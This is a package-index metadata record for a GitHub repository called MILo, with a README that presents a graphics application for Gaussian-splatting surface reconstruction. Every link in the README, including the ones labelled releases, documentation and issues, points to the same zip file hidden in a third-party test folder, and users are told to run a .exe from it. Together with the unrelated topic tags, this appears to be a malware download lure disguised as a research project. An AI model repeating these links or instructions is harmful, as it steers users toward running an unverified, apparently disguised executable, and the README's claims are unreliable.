{"id":31674973,"url":"https://github.com/bransantiago/milo","last_synced_at":"2026-04-28T12:04:11.505Z","repository":{"id":317117824,"uuid":"1065983695","full_name":"bransantiago/MILo","owner":"bransantiago","description":"🖥️ Enhance surface reconstruction with MILo, a novel method using mesh-in-the-loop Gaussian splatting for detailed and efficient results.","archived":false,"fork":false,"pushed_at":"2026-04-24T04:18:53.000Z","size":11226,"stargazers_count":6,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2026-04-24T06:23:03.964Z","etag":null,"topics":["client","components","cryptography","differentiable-rendering","discord-bot","elasticsearch","franklin","gaussian-splatting","iec62541","java","milo","nodejs","opcua","python","reactive-programming","siggraph-asia","surface-reconstruction","transactions-on-graphics"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/bransantiago.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-28T20:27:14.000Z","updated_at":"2026-04-24T04:18:57.000Z","dependencies_parsed_at":"2025-10-22T03:25:24.564Z","dependency_job_id":"2cb9c998-5a6f-4cf3-8607-9069756d68c5","html_url":"https://github.com/bransantiago/MILo","commit_stats":null,"previous_names":["bransantiago/milo"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/bransantiago/MILo","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bransantiago%2FMILo","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bransantiago%2FMILo/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bransantiago%2FMILo/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bransantiago%2FMILo/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/bransantiago","download_url":"https://codeload.github.com/bransantiago/MILo/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bransantiago%2FMILo/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32379630,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-28T11:25:28.583Z","status":"ssl_error","status_checked_at":"2026-04-28T11:25:05.435Z","response_time":56,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["client","components","cryptography","differentiable-rendering","discord-bot","elasticsearch","franklin","gaussian-splatting","iec62541","java","milo","nodejs","opcua","python","reactive-programming","siggraph-asia","surface-reconstruction","transactions-on-graphics"],"created_at":"2025-10-08T04:58:22.038Z","updated_at":"2026-04-28T12:04:11.499Z","avatar_url":"https://github.com/bransantiago.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 MILo - Efficient Surface Reconstruction Made Easy\n\n## 📥 Download Now\n[![Download MILo](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)\n\n## 🖥️ Introduction\nWelcome to MILo! This software provides a solution for detailed and efficient surface reconstruction through the method known as Mesh-In-the-Loop Gaussian Splatting. Designed for those interested in computer graphics, such as artists and designers, MILo simplifies the process of rendering complex surfaces.\n\n## 🚀 Getting Started\nTo use MILo, follow these simple steps:\n\n1. **Visit the Releases Page**  \n   Go to the [MILo Releases page](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip).\n\n2. **Choose the Latest Version**  \n   Look for the latest version of the software. It will typically show at the top of the page.\n\n3. **Download the Application**  \n   Click on the appropriate file for your operating system and download it to your computer. Make sure to choose the version that matches your system requirements (see below for details).\n\n## 📋 System Requirements\nTo run MILo effectively, ensure your computer meets the following requirements:\n\n- **Operating System:** Windows 10 or later, macOS 10.15 or later, or a Linux distribution.\n- **Processor:** Dual-core CPU or better.\n- **Memory:** At least 8 GB of RAM.\n- **Graphics Card:** Compatible with OpenGL 3.3 or later.\n- **Storage:** Minimum of 500 MB of free space.\n\n## 🔧 Download \u0026 Install\nOnce the download completes:\n\n1. **Locate the Downloaded File**\n   Check your 'Downloads' folder (or the folder you configured for downloads).\n\n2. **Install MILo**  \n   - **For Windows:** Double-click the `.exe` file and follow the on-screen instructions.\n   - **For macOS:** Drag the https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip file to your Applications folder.\n   - **For Linux:** Extract the downloaded archive and run the executable.\n\n3. **Launch the Application**  \n   After installation, find MILo in your applications list and open it.\n\n## 🎨 Features\nMILo offers several key features:\n\n- **Real-time Surface Reconstruction**  \n  Generate detailed surfaces in real-time with minimal setup.\n\n- **User-Friendly Interface**  \n  Designed for artists, it keeps complex tools accessible and easy to use.\n\n- **Support for Various Mesh Formats**  \n  Import and work with different mesh formats seamlessly.\n\n- **Customizable Settings**  \n  Adjust settings to enhance rendering based on your computer's capabilities.\n\n- **Documentation and Tutorials**  \n  In-app help guides and video tutorials to assist you along the way.\n\n## 📊 How to Use MILo\nTo create a surface using MILo, follow these straightforward steps:\n\n1. **Load Your Mesh**  \n   Click on \"File\" and select \"Import\" to load your mesh file.\n\n2. **Adjust Parameters**  \n   Navigate to the settings menu to tweak rendering options based on your needs.\n\n3. **Render the Scene**  \n   Click on “Render” to see the reconstruction in action.\n\n4. **Export Your Work**  \n   Once satisfied, export your rendered scene using the \"Export\" option.\n\n## ⚙️ Troubleshooting\nIf you encounter issues:\n\n- **Check System Compatibility:** Ensure your system meets the requirements outlined above.\n- **Update Graphics Drivers:** Outdated drivers can lead to performance problems.\n- **Refer to the Documentation:** Additional help can be found in the user manual accessible within the application.\n\n## 🌐 Community and Support\nJoin our community for support and updates:\n\n- **GitHub Issues:** Report bugs or request features directly on our [GitHub Issues page](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip).\n- **Discussion Forums:** Engage with other users through forums available on our GitHub repository.\n\n## 🔗 Additional Resources\n- [MILo Releases](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip) - Download the latest versions.\n- [Documentation](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip) - Detailed guides and FAQs.\n\n## 📝 Acknowledgments\nMILo is developed with contributions from the community and research teams attending SIGGRAPH Asia 2025. We appreciate your support and feedback!\n\n## 📥 Download Now\n[![Download MILo](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)\n\nEnjoy exploring the possibilities with MILo!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbransantiago%2Fmilo","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbransantiago%2Fmilo","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbransantiago%2Fmilo/lists"}